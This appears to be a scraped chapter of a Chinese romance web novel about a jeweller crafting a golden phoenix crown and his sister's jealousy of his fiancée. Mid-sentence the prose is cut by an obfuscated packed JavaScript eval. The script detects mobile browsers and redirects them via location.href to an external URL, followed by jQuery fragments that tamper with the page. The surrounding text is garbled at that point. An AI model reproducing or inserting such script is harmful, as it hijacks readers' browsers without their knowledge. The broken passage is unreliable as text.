默认冷灰
24号文字
方正启体

14. 金凤冠

作者:咕噜老梅本书字数:K更新时间:
    藏春没料到戚风堂会突然出现在铺子里。


    见他目光略带审视地落在柴五娘消失的方向,她忙上前两步,亲昵地挽住他的胳膊:“哥哥怎么来了,今日不忙了吗?”


    戚风堂收回目光,环视铺内,见一切井然有序,紧绷的神色才稍稍放松:“方才见你步履匆匆,还以为是铺子里出了什么纰漏,放心不下,便过来瞧瞧。”


    陈掌柜见二人都在,也笑着上前凑趣:“二小姐如今打理铺子愈发得心应手了,连我也跟着省心不少。”


    藏春放下挽着戚风堂的手,单手支颐,状似无意地扫过支摘窗外,柴五娘的身影早已消失在人流。


    她这才侧过头,对着戚风堂绽开明媚的笑容:“哥哥还不知道吧,如今临安城里的闺秀们出嫁,可都把能得一套小戚公子亲手打制的头面,当做头等要紧的事。”


    戚风堂对此不置可否。


    临安风尚向来如此,追捧什么便蜂拥而上,但要想让戚宝斋的金字招牌长久屹立,靠的绝非一时的虚名,还需倾注更多心血。


    见今日客少清闲,陈掌柜便劝兄妹俩早些回府歇息,铺子里有他照应足矣。


    回戚宅的路上,两侧商铺渐次挑起了灯笼,戚风堂想起这些日子忙于那顶金凤冠,似乎怠慢了贾朵,于礼数上有些疏失,他便与身旁的妹妹商议:“我想着是不是该寻个日子,邀贾朵出来泛舟西湖,或去听一出新排的杂剧,两家既已定亲,人尽皆知,我们这边总该主动些,以免贾家觉得慢待。”


    藏春低着头走路,看着戚风堂侧头说话的影子刚好落在自己发顶,“应该的,朵姐姐会高兴的。”


    因他这句“怕冷落了贾朵”,藏春此后邀请贾朵来府上走动得愈发勤快,每每都言明是风堂哥哥惦念。


    宋明音看在眼里,只觉藏春愈发识大体,对她说话的语气也不自觉软和了三分。日子久了,她也渐渐接受了戚焕再也无法站立的事实,好在儿子争气,无论是经营还是手艺,都丝毫不逊于戚焕。


    戚宅的吃穿用度,甚至比戚焕掌家时更为讲究奢华,连幺儿每日服用的汤药,用的都是顶好的药材。


    奶娘见她吩咐厨房给戚风堂炖参汤,忍不住打趣:“夫人倒像个会变脸的猢狲,前些日子还愁云惨淡,如今又是大郎长大郎短了。”


    宋明音脸一红,嗔道:“我就是觉得大郎争气,若非他从小肯下苦功钻研珠玉商道,咱们家哪能还维持住这份体面?”


    “可我记得夫人从前总嫌他整日只知对着死物,跟您不亲近呢。”奶娘年岁已高,又是看着宋明音长大,说起她来毫不嘴软。


    宋明音被她噎住,索性不理她,借口去看幺儿的汤药熬得如何,踱步出来,刚走到廊下,便瞧见藏春引着贾朵,正往翠园方向去。


    这一下宋明音仿佛已看到自己日后含饴弄孙的快活场景。


    贾朵从藏春口中得知戚风堂记挂自己,在院子里坐下时也自若了许多。


    “市舶司王大人家的公子再过两月便要成婚了,哥哥要亲手为新娘子打造一顶金缕九凤冠。”


    藏春一面说着,一面拉贾朵在院中的青石鼓凳上坐下,四敞极有眼色地奉上两盏新沏的龙团凤饼,便要转身去通传。


    贾朵脸上微红,到底还未过门,不好意思以女主人姿态自居,对四敞道:“不必扰风堂哥哥了,我们就在这儿坐坐,看看就好。”


    还是那扇熟悉的支摘窗,一顶华贵的金凤冠在他手下已具雏形。


    他微微抬手,藏春便知他下一步动作。


    戚风堂将烧融的金液浇入青石板凹槽之中,随即便探手进去。贾朵看得心惊肉跳,下意识地绞紧了手中的罗帕。


    “这是累丝金线。”藏春轻声解释,“要将金块拉成极细的金丝,再用这金丝盘曲累叠出凤凰羽翼的纹样,整个临安城,无人能比哥哥拉出的金丝更细匀坚韧。”


    话音未落,贾朵见戚风堂手臂收紧发力,转眼便拉成了一束极细的金丝。


    只是他那捻着金丝的手指关节处,不可避免地又添了几道深深的红痕,藏春光是看着便觉得有些肉疼。


    贾朵看得痴了,只觉得他什么都会做,不禁心口砰砰乱跳,想到日后成了亲,这双手也会如今日这般为她打造各种漂亮的首饰。


    天色将暮,贾朵不便久留,藏春送她至院门,返回时却见石凳上遗落了一方罗帕,上面绣着的似是月下白梅图。


    她快步追出大门,门房却说贾姑娘已走远了,藏春本想遣人送去,念头一转,又握着帕子折回了翠园。


    工房内戚风堂刚放下那顶半成的凤冠,微微仰头,喉结随之滚动,活动着有些酸涩的手腕指节。


    市舶司掌握着珠宝进口税,他家的事容不得半点敷衍,戚风堂必须亲力亲为。


    “哥哥手疼了?”藏春拿着那方帕子走近,语气里含着关切的责备。


    “无妨,快完工了。”


    斜晖脉脉,映得桌上未完成的金凤流光溢彩。


    藏春抿了抿唇,将帕子在他面前摊开:“方才朵姐姐走得急,落下了这方帕子,哥哥…何不亲自送过去?”她目光紧锁戚风堂,存心试探。


    戚风堂揉了揉眉心,瞥了眼案头刚送来的几本衡阳分号的账册,“二妹妹随意打发个小厮送去便是了。”


    “好,那我去安排,哥哥早些歇息,小厨房炖了血燕,若是饿了就让四敞去取。”藏春眼底笑意粲然,顺手将帕子收回自己怀中。


    她将迈过门槛时,戚风堂的声音从身后传来:“二妹妹。”


    藏春脚步一顿。


    戚风堂缓步走近,声音温和:“这些日子辛苦你了,本该是我这个做兄长的照顾你,如今反倒让你处处替我周全,操持这许多事。”


    他指的是她在自己和贾朵之间周旋。


    藏春背对着他,并未回头,只轻声道:“哥哥说哪里话。”


    出了翠园,四敞迎上来要替她跑腿送帕子,藏春婉拒,还是亲自去了贾府。


    贾府门房认得她是未来的亲家小姐,十分客气,殷勤地告知贾朵的绣楼方位,藏春谢过,凭着记忆在熟悉的庭院中穿行。


    行至一处花木掩映的曲折小径,忽闻前方树荫下传来两个婆子压低的说话声,藏春不欲多事,正想绕道而行,却隐约听到了她们好像在谈论…贾朵?


    她脚步钉在原地,隔着十余步的距离,婆子们的声音断断续续入耳。


    “…你说咱家大小姐这命,啧啧,前脚刚和阿石,后脚转头就攀上戚家公子这般打着灯笼也难寻的好亲事,真是……”


    “可不是嘛,亏得老爷当机立断,举家从汴京搬了回来,要不然,那点子腌臜事一旦传开,别说大小姐了,就连咱们二小姐,怕也要被连累得嫁不出去了……”


    藏春胸口一滞,低头再看向那


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708976|189231||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    方罗帕,月华泠泠,白梅枝之下是一块稍显凌乱的石头。


    她缓缓收回脚步,沿着原路回去,径直去了戚宝斋。


    库房深处藏春寻出了那副被束之高阁的曾经练手的头面,有几处米珠贴得歪斜,金丝掐出的花瓣也微微劈叉。


    藏春将它带了回去,对着油灯用金工剪铰断了那几处碍眼的瑕疵。


    戚风堂的手艺,她耳濡目染学了七七八八,要修补这顶头面也并非难事。


    兰翠端着剔红漆盒进来,里面是温热的燕窝羹,“你这孩子,想鼓捣这些白日里做不得?非得熬这大夜,仔细伤了眼睛。”


    “无妨的,翠姨,”藏春头也没抬,指尖灵活地捻着金丝,“横竖也睡不着,找点事做心里踏实些,翠姨快去歇息吧。”


    今日她见戚风堂做凤冠,又见贾朵那憧憬的眼神,心里便觉得刺刺的,与其让他给贾朵准备,到不如自己来,这样她心里还能好受些。


    她坚持,兰翠也不再相劝。


    戚风堂合上最后一页账册,只觉眼前阵阵发花。他推开书斋的门,走到院中透气。


    夜色深浓,唯有藏春厢房那扇窗隐隐泛亮,显得格外孤清。


    他怕惊扰了藏春,放轻脚步走近,见她单薄的背影伏在案前,一盏小巧的油灯将她的影子拉得瘦长而伶仃。


    里面的人早已辨出那熟悉的脚步声,戚风堂久站不入,藏纯故意手下一滑,锋利的金丝尖倏地刺入了拇指指腹,“嘶!”短促的痛呼溢出。


    戚风堂心下一紧,几步跨入房中,驾轻就熟地从她房中的小药箱里找出白棉布和金疮药粉。


    幽静的长夜,藏春的手乖乖地躺在他温热的掌心里,任由他上药包扎。


    戚风堂的目光落在旁边那顶半成品的发冠上,眉头微蹙:“这些东西,自有铺子里的老师傅们去做,二妹妹又何必亲自动手?”


    藏春并未着急抽回手,而是细细的感受着他指腹因常年持握工具而磨出的薄茧,她将声音放得又轻又软:“哥哥眼看就要成婚了,我想着亲手给朵姐姐做一顶这凤冠,这样也能显出我们戚家的诚意。”


    她顿了顿,抬起眼,“哥哥不会是打算亲自给朵姐姐做吧?若是那样……”她留了半句,目光安静地等待着戚风堂的反应。


    戚风堂低头专注地打好最后一个结,才淡然道:“那倒不必,这活自有手艺老道的伙计操持,不过你若实在想做,拿去铺子里,让老师傅从旁指点,到时候便说是你亲手做的,也是一样的。”


    他松开手,在她旁边的木凳坐下。


    两人挨得很近,藏春甚至能感受到他锦袍下膝盖传来的温度,正轻轻抵着自己的腿侧。


    她自然而然地靠在了他身上。


    “累了?”戚风堂的声音低沉了几分,带着一丝纵容。


    “…嗯…”藏春含糊地应着,调整了一个更舒服的姿势,将半边身子的重量都倚靠过去,闻着他身上淡淡的封蜡味儿。


    窗外夏蝉不知疲倦地鼓噪,里面夹着几句藏春用气声发出的叹问:“哥哥成了亲…还会像现在这般待我好吗?”


    蝉鸣声太过响亮,戚风堂只觉她气息拂过耳畔,并未听清,不由得微微俯首侧耳:“二妹妹说什么?”


    藏春却不再言语,只是将头又往他臂膀深处埋了埋,她望着案上那顶金冠,心里想着等这顶冠子打好,柴五娘也该从汴京回来了吧?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)